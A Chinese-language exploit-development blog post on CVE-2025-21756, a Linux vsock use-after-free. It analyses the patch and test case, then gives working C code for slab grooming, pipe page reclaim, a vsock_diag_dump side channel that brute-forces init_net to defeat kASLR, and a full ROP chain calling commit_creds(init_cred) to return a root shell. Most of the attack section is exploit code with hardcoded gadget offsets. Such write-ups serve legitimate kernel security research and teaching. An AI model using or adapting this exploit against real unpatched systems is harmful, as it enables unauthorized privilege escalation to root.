Linux 内核漏洞利用:Vsock 的攻击 (CVE-2025-21756)
Linux Kernel Exploitation
CVE-2025-21756: Vsock 的攻击
最初只是随意浏览 KernelCTF 的提交内容,结果却演变成长达数周的深入研究一个看似简单的补丁——以及我第一次从 Linux 内核漏洞利用中获得 root shell! 在浏览提交的 公开电子表格 时,我看到了一个有趣的条目:exp237。这个 bug 补丁看起来非常简单,令我惊讶的是,一位研究人员竟然能够利用这个问题进行提权。于是,我踏上了一段降低我的 GPA,偶尔让我怀疑自己理智的旅程:我的第一个 Linux 内核漏洞利用!
设置环境
在我们开始深入研究漏洞利用开发之前,我们需要设置一个良好的 Linux 内核调试环境。我决定使用 QEMU 以及 midas's 精彩文章中的脚本和 gef-kernel GDB 扩展。我选择从 Linux 内核 6.6.75 开始,因为它与其他研究人员利用的版本很接近。我实际上是在 WSL 中完成了整个项目,这样我就可以在我的 Windows 学校电脑上编写漏洞利用程序了!
补丁分析
从下面的 patch 可以看出,这个修复只涉及到几行代码。从代码和描述中可以看出,传输重新分配可以触发 vsock_remove_sock
,而 vsock_remove_sock
又会调用 vsock_remove_bound
,如果 socket 最初未绑定,则会错误地减少 vsock 对象的引用计数。
当内核中对象的引用计数达到零时,该对象将被释放到其各自的内存管理器。理想情况下,在释放 vsock 对象后,我们将能够触发某种 Use After Free (UAF) 来获得更好的原语并提升权限。
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
@@ -337,7 +337,10 @@ EXPORT_SYMBOL_GPL(vsock_find_connected_socket);
void vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ /* Transport reassignment must not remove the binding. */
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
+
vsock_remove_connected(vsk);
}
EXPORT_SYMBOL_GPL(vsock_remove_sock);
@@ -821,12 +824,13 @@ static void __vsock_release(struct sock *sk, int level)
*/
lock_sock_nested(sk, level);
+ sock_orphan(sk);
+
if (vsk->transport)
vsk->transport->release(vsk);
else if (sock_type_connectible(sk->sk_type))
vsock_remove_sock(vsk);
- sock_orphan(sk);
sk->sk_shutdown = SHUTDOWN_MASK;
skb_queue_purge(&sk->sk_receive_queue);
除了这个补丁,维护人员还为这个 bug 添加了一个测试用例,这对于启动漏洞利用非常有用。
#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */
#define VMADDR_CID_NONEXISTING 42
/* Test attempts to trigger a transport release for an unbound socket. This can
* lead to a reference count mishandling.
*/
static void test_seqpacket_transport_uaf_client(const struct test_opts *opts)
{
int sockets[MAX_PORT_RETRIES];
struct sockaddr_vm addr;
int s, i, alen;
s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);
alen = sizeof(addr);
if (getsockname(s, (struct sockaddr *)&addr, &alen)) {
perror("getsockname");
exit(EXIT_FAILURE);
}
for (i = 0; i < MAX_PORT_RETRIES; ++i)
sockets[i] = vsock_bind(VMADDR_CID_ANY, ++addr.svm_port,
SOCK_SEQPACKET);
close(s);
s = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
if (s < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
if (!connect(s, (struct sockaddr *)&addr, alen)) {
fprintf(stderr, "Unexpected connect() #1 success\n");
exit(EXIT_FAILURE);
}
/* connect() #1 failed: transport set, sk in unbound list. */
addr.svm_cid = VMADDR_CID_NONEXISTING;
if (!connect(s, (struct sockaddr *)&addr, alen)) {
fprintf(stderr, "Unexpected connect() #2 success\n");
exit(EXIT_FAILURE);
}
/* connect() #2 failed: transport unset, sk ref dropped? */
addr.svm_cid = VMADDR_CID_LOCAL;
addr.svm_port = VMADDR_PORT_ANY;
/* Vulnerable system may crash now. */
bind(s, (struct sockaddr *)&addr, alen);
close(s);
while (i--)
close(sockets[i]);
control_writeln("DONE");
}
最初的想法
由于这是一个 UAF bug,我最初的想法是尝试一个 cross-cache attack。我的总体计划如下...
- 触发任意释放一个 vsock 对象
- 使用一些用户控制的对象(如
msg_msg
)来回收该页面 - 破坏 vsock 对象中的某个函数指针以获得代码执行权限
我们得到了一个 Panic!
略微修改并在我的 VM 上运行测试代码(参见 crash.c) 实际上会导致下面看到的内核 panic!通过一些调试,我们发现 vsock 对象实际上仍然链接到 vsock_bind_table
中,尽管它已经被释放了。太棒了!
当 AppArmor 在回收的 socket 上调用 bind() 时,解引用一个 NULL 的
sk_security
指针时,会发生 panic。 这证实了 UAF,并突出了 LSM hooks 带来的障碍(见下文)。
障碍 #1: AppArmor + LSM
我们遇到的第一个主要障碍是 AppArmor。这在上面的调用栈中可以看到,内核调用了
security_socket_bind
和 aa_sk_perm
。security_socket_*
函数是 Linux Security Module (LSM) hooks,它们会调用 AppArmor。那么,我们的 socket 为什么会因为 AppArmor 安全检查而失败呢?
通过调查问题,很明显 __sk_destruct
调用了 sk_prot_free
,而 sk_prot_free
又调用了 security_sk_free
。因此,当我们触发我们的 bug 来减少引用计数,并且 vsock 被释放时,sk->sk_security
指针将被置零。
/**
* security_sk_free() - Free the sock's LSM blob
* @sk: sock
*
* Deallocate security structure.
*/
void security_sk_free(struct sock *sk)
{
call_void_hook(sk_free_security, sk);
kfree(sk->sk_security);
sk->sk_security = NULL;
}
但是当我们调用 security_socket_bind
时,AppArmor 函数会解引用这个 sk->sk_security
结构。更糟糕的是,似乎几乎每个 socket 函数都有一个 LSM 对应物。简而言之:内核授予我们一个悬空指针指向 socket — 但 AppArmor 确保我们在我们可以用它做任何有用的事情之前崩溃。那么,如果我们甚至无法使用回收的 socket 调用任何有用的函数,我们如何 UAF 呢?
gef> p security_socket_*
security_socket_accept security_socket_getpeername
security_socket_bind security_socket_getpeersec_dgram
security_socket_connect security_socket_getpeersec_stream
security_socket_create security_socket_getsockname
security_socket_getsockopt security_socket_sendmsg
security_socket_listen security_socket_setsockopt
security_socket_post_create security_socket_shutdown
security_socket_recvmsg security_socket_socketpair
我们有两个主要选择。
- 伪造一个
sk_security
指针指向一个虚假对象 - 找到一些不受 AppArmor 保护的函数
我决定先探索选项 #2。
(App)Armor 中的漏洞 & 击败 kASLR
我的第一个重点是找到一种方法来泄漏一些地址。一些“显而易见”的选择是像
getsockopt
或 getsockname
这样的函数,但是这些函数都受到 AppArmor 的保护。通过浏览源代码,我偶然发现了 vsock_diag_dump
功能。这是一个非常有趣的函数,因为它不受 AppArmor 的保护。代码如下所示。
static int vsock_diag_dump(struct sk_buff *skb, struct netlink_callback *cb)
{
// ... snip ...
/* Bind table (locally created sockets) */
if (table == 0) {
while (bucket < ARRAY_SIZE(vsock_bind_table)) {
struct list_head *head = &vsock_bind_table[bucket];
i = 0;
list_for_each_entry(vsk, head, bound_table) {
struct sock *sk = sk_vsock(vsk);
if (!net_eq(sock_net(sk), net))
continue;
if (i < last_i)
goto next_bind;
if (!(req->vdiag_states & (1 << sk->sk_state)))
goto done;
if (sk_diag_fill(sk, skb,
NETLINK_CB(cb->skb).portid,
cb->nlh->nlmsg_seq,
NLM_F_MULTI) < 0)
goto done;
next_bind:
i++;
}
last_i = 0;
bucket++;
}
table++;
bucket = 0;
}
// ... snip ...
}
由于我们释放的 socket 仍然在 bind table 中,只有两个检查阻止我们从 socket 中转储一些信息。sk->sk_state
检查很容易通过(不需要任何泄漏),但是 sk_net
检查似乎更难。如何在还没有 kASLR 泄漏的情况下伪造一个 sk->__sk_common->skc_net
指针呢?我被这个问题困扰了大约一周,但在 discord 上社区的帮助下克服了这个困难!
用于乐趣和盈利的 Diag Dump 侧信道
陷入困境,我求助于 kernelctf 社区,在 discord 上分享了上述检查。几乎立刻,@h0mbre 回应说可以暴力破解 skc_net
指针,本质上是将 vsock_diag_dump
用作侧信道! 太棒了!
所以,总而言之,我们执行以下操作来泄漏
init_net
...
- 喷射 pipes 来回收 UAF'd socket 的页面
- 使用受控值逐 QWORD 填充每个 pipe 缓冲区
- 使用
vsock_diag_dump()
作为侧信道来检测我们覆盖的结构是否“足够有效”以绕过过滤 - 一旦
vsock_diag_dump()
停止报告我们的 socket,我们就知道我们破坏了skc_net
- 然后,我们暴力破解
init_net
的低位,直到 socket 再次被接受——这使我们完全绕过 kASLR
@h0mbre 提出的使用 pipe backing pages 的建议比我以前使用的 msg_msg
对象更稳定/可用。经过少量工作,我成功地让以下代码泄漏了 sk_net
指针。
int junk[FLUSH];
for (int i = 0; i < FLUSH; i++)
junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
puts("[+] pre alloc sockets");
int pre[PRE];
for (int i = 0; i < PRE; i++)
pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
// ... snip ... (alloc target & trigger uaf)
puts("[+] fill up the cpu partial list");
for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)
close(junk[i]);
puts("[+] free all the pre/post alloc-ed objects");
for (int i = 0; i < POST; i++)
close(post[i]);
for (int i = 0; i < PRE; i++)
close(pre[i]);
对象的 pre 和 post 分配确保整个页面实际上都返回给 buddy allocater(参见 this writeup)。以下是实际查找 skc_net
指针的代码。
int pipes[NUM_PIPES][2];
char page[PAGE_SIZE];
memset(page, 2, PAGE_SIZE); // skc_state must be 2
puts("[+] reclaim page");
int w = 0;
int j;
i = 0;
while (i < NUM_PIPES) {
sleep(0.1);
if (pipe(&pipes[i][0]) < 0) {
perror("pipe");
break;
}
printf(".");
fflush(stdout);
w = 0;
while (w < PAGE_SIZE) {
ssize_t written = write(pipes[i][1], page, 8);
j = query_vsock_diag();
w += written;
if (j != 48) goto out;
}
i++;
if (i % 32 == 0) puts("");
}
正如你所看到的,这段代码只是不断创建新的 pipes 并一次填充它们一个 QWORD(0x0202020202020202 以满足 skc_state
),直到 vsock_diag_dump
不再找到受害 socket。 这意味着我们已经覆盖了 skc_net
。 一旦我们实际覆盖了指针,我们只需要以相同的方式暴力破解地址的低 32 位。
long base = 0xffffffff84bb0000; // determined through experimentation
long off = 0;
long addy;
printf("[+] attempting net overwrite (aslr bypass).\n");
while (off < 0xffffffff) {
close(pipes[i][0]);
close(pipes[i][1]);
if (pipe(&pipes[i][0]) < 0) {
perror("pipe");
}
addy = base + off;
write(pipes[i][1], page, w - 8);
write(pipes[i][1], &addy, 8);
if (off % 256 == 0) {
printf("+");
fflush(stdout);
}
j = query_vsock_diag();
if (j == 48) {
printf("\n[*] LEAK init_net @ 0x%lx\n", base + off);
goto out2;
}
off += 128;
}
通过 skc_net
覆盖,我们一石二鸟。我们击败了 kASLR 并落在 vsock 对象中一个已知的偏移量上。
现在剩下的是找到一种可靠的方法来重定向执行流程...
控制 RIP
为了控制指令指针,我求助于 vsock_release
函数,因为它是少数几个不受 AppArmor 保护的 vsock 功能之一。
static int vsock_release(struct socket *sock)
{
struct sock *sk = sock->sk;
if (!sk)
return 0;
sk->sk_prot->close(sk, 0);
__vsock_release(sk, 0);
sock->sk = NULL;
sock->state = SS_FREE;
return 0;
}
我们最感兴趣的是调用 sk->sk_prot->close(sk, 0)
。由于我们控制了 sk,我们需要一个有效的_指向函数指针的指针_。这让我困惑了一段时间,直到我开始考虑使用其他有效的 proto 对象。我发现 raw_proto
有一个指向 abort 函数的指针,如下所示。
int raw_abort(struct sock *sk, int err)
{
lock_sock(sk);
sk->sk_err = err;
sk_error_report(sk);
__udp_disconnect(sk, 0);
release_sock(sk);
return 0;
}
此函数调用 sk_error_report
,如下所示。
void sk_error_report(struct sock *sk)
{
sk->sk_error_report(sk);
switch (sk->sk_family) {
case AF_INET:
fallthrough;
case AF_INET6:
trace_inet_sk_error_report(sk);
break;
default:
break;
}
}
因此,如果我们可以使用 stack pivot gadget 覆盖 socket 的 sk->sk_error_report
字段,我们应该能够跳转到从 socket 基地址开始的 ROP 链。
下面是覆盖后 vsock 状态的一个不错的可视化。
sk->sk_prot --> &raw_proto
↳ .close = raw_abort
↳ sk->sk_error_report(sk) → *stack pivot*
另一个重要的提示是,有必要使用一些空字节和指针来伪造 sk_lock
成员(通过大量调试确定)。有了所有这些,我构建了以下 ROP 链。
long kern_base = base + off - 0x3bb1f80;
printf("[*] leaked kernel base @ 0x%lx\n", kern_base);
// calculate some rop gadgets
long raw_proto_abort = kern_base + 0x2efa8c0;
long null_ptr = kern_base + 0x2eeaee0;
long init_cred = kern_base + 0x2c74d80;
long pop_r15_ret = kern_base + 0x15e93f;
long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;
long pop_rdi_ret = kern_base + 0x15e940;
long commit_creds = kern_base + 0x1fcc40;
long ret = kern_base + 0x5d2;
// info for returning to usermode
long user_cs = 0x33;
long user_ss = 0x2b;
long user_rflags = 0x202;
long shell = (long)get_shell;
uint64_t* user_rsp = (uint64_t*)get_user_rsp();
// return to user mode
long swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;
//getchar();
printf("[+] writing the rop chain\n");
close(pipes[i][0]);
close(pipes[i][1]);
if (pipe(&pipes[i][0]) < 0) {
perror("pipe");
}
printf("[+] writing payload to vsk\n");
write(pipes[i][1], page, w - 56);
char buf[0x330];
memset(buf, 'A', 0x330);
char not[0x330];
memset(not, 0, 0x330);
// create the rop chain!
write(pipes[i][1], &pop_rdi_ret, 8); // stack pivot target
write(pipes[i][1], &init_cred, 8);
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &pop_r15_ret, 8); // junk
write(pipes[i][1], &raw_proto_abort, 8); // sk_prot (calls sk->sk_error_report())
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);
write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);
write(pipes[i][1], &null_ptr, 8); // rax
write(pipes[i][1], &null_ptr, 8); // rdi
write(pipes[i][1], &shell, 8); // rip
write(pipes[i][1], &user_cs, 8);
write(pipes[i][1], &user_rflags, 8);
write(pipes[i][1], user_rsp, 8); // rsp
write(pipes[i][1], &user_ss, 8);
write(pipes[i][1], buf, 0x18);
write(pipes[i][1], &\not, 8); // sk_lock
write(pipes[i][1], &\not, 8); // sk_lock
write(pipes[i][1], &null_ptr, 8); // sk_lock
write(pipes[i][1], &null_ptr, 8); // sk_lock
write(pipes[i][1], buf, 0x200);
write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]
//getchar();
close(s); // trigger the exploit!
请注意,我没有调用 prepare_kernel_cred(NULL)
,因为这不再受支持(会导致崩溃)。相反,我选择使用 init_cred
调用 commit_creds
- 一个与内核基地址具有恒定偏移量的结构,其 uid=gid=0。我还从 this 博客借用了 swapgs_restore_regs_and_return_to_usermode 技术。有了所有这些难题,我们的漏洞利用程序会提供一个 root shell!
该漏洞利用程序的最终源代码发布在 here。该漏洞利用程序仍然可以更加可靠和优雅,但对于我的第一个内核 pwn,我对它感到满意!
感谢!
对于一个只涉及几行补丁代码的 bug 来说,这段旅程教会了我比我所预期的更多的关于内核的知识!如果没有 #kernelctf discord 频道上所有超级有用的黑客,我永远无法完成此漏洞利用!谢谢大家 + 快乐 pwning!